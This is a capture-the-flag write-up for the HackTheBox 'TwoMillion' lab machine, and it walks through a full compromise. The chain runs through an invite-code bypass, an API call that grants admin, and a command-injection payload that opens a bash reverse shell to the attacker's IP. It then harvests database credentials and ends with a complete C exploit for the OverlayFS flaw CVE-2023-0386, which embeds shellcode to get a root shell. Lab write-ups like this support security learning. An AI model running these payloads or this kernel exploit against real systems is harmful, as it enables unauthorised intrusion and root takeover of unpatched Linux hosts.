HackTheBox TwoMillion Writeup
Explore the fundamentals of cybersecurity in the TwoMillion Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.11.221 2million.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.221"
domain="2million.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
nmap -sCV 2million.htb
1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 00:52 CEST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Invite Code Functions
After exploring http://2million.htb/invite and analyzing the script located at http://2million.htb/js/inviteapi.min.js, the deobfuscated and beautified JavaScript code is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function verifyInviteCode(code) {
var formData = { "code": code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate/verify',
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}
Open the developer console (F12) and run the following command:
1
makeInviteCode();
This will return a message encoded with ROT13.
1
2
echo "<message>" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
echo "The code is -> $(curl -s -X POST http://2million.htb/api/v1/invite/generate | jq .data.code | tr -d '"' | base64 -d)"
Creating an Account and Logging In
After logging in at http://2million.htb/home/access, capture the GET
request to /api/v1/user/vpn/regenerate
using Burp Suite. Modify the request by changing the endpoint to /api/v1
, which will reveal other available API endpoints.
Remote Code Execution
1
2
3
4
5
6
7
8
echo -n "PHPSESSID in Coockie? -> " ; read coockie
curl -sq http://2million.htb/api/v1 -H 'Cookie: PHPSESSID='$coockie'' | jq .
echo -n "Input your email -> " ; read email
curl -sq -X PUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Content-Type: application/json' -H 'Cookie: PHPSESSID='$coockie'' --data "{\"email\":\"$email\", \"is_admin\":1}" | jq .
echo -n "Run a revshell and press Enter --> nc -lvnp 9001" ; read
echo "Payload Deployed Check Your Listener for Incoming Signals\!"
tun0=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
timeout 1 curl -sq -X POST http://2million.htb/api/v1/admin/vpn/generate -H 'Cookie: PHPSESSID='$coockie'' -H 'Content-Type: application/json' --data "{\"username\":\"\$(bash -c '/bin/bash -i >& /dev/tcp/$tun0/9001 0>&1')\"}"
Database Password
Run the following command to search for database credentials:
1
find /var/www -type f -name "*" -exec grep -Hni 'db_' {} \; 2>/dev/null
This reveals the database user and password.
Next, using su admin
, you’ll find that the same password works for the admin user. Now, SSH into the server:
1
ssh admin@2million.htb
Then, to locate files owned by the admin user:
1
find / -user admin 2>/dev/null | grep -v '^/proc\|^/run\|^/sys'
This will reveal the file /var/mail/admin
. Viewing this file:
1
cat /var/mail/admin
You’ll find an email mentioning dbmigration and OverlayFS.
CVE-2023-0386 (OverlayFS)
Create efuse.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";
const char hello_str[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str);
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {
return -ENOENT;
}
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi)
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);
} else {
size = 0;
}
return size;
}
static int ioctl_callback(const char *p, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static struct fuse_operations hellofs_oper = {
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
.ioctl = ioctl_callback
};
int main(int argc, char *argv[]) {
system("[ ! -d fuse ] && ""mkdir -p fuse upper overlay workdir && echo '[+] Created fuse file system\n[+] Run Again to get root shell'");
argc = 2;
argv[1] = "fuse";
fuse_main(argc, argv, &hellofs_oper, NULL);
const char *overlay_command =
"unshare -Urm /bin/bash -c '"
"mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay && "
"echo \"[+] Create overlayFS\" && "
"touch overlay/hello && "
"echo \"[+] Copy Up\" && "
"exit'";
system(overlay_command);
printf("[+] You are root!\n");
system("./upper/hello");
return 0;
}
Compile and run:
1
2
3
gcc efuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
chmod +x ./efuse
./efuse
1
cat /root/root.txt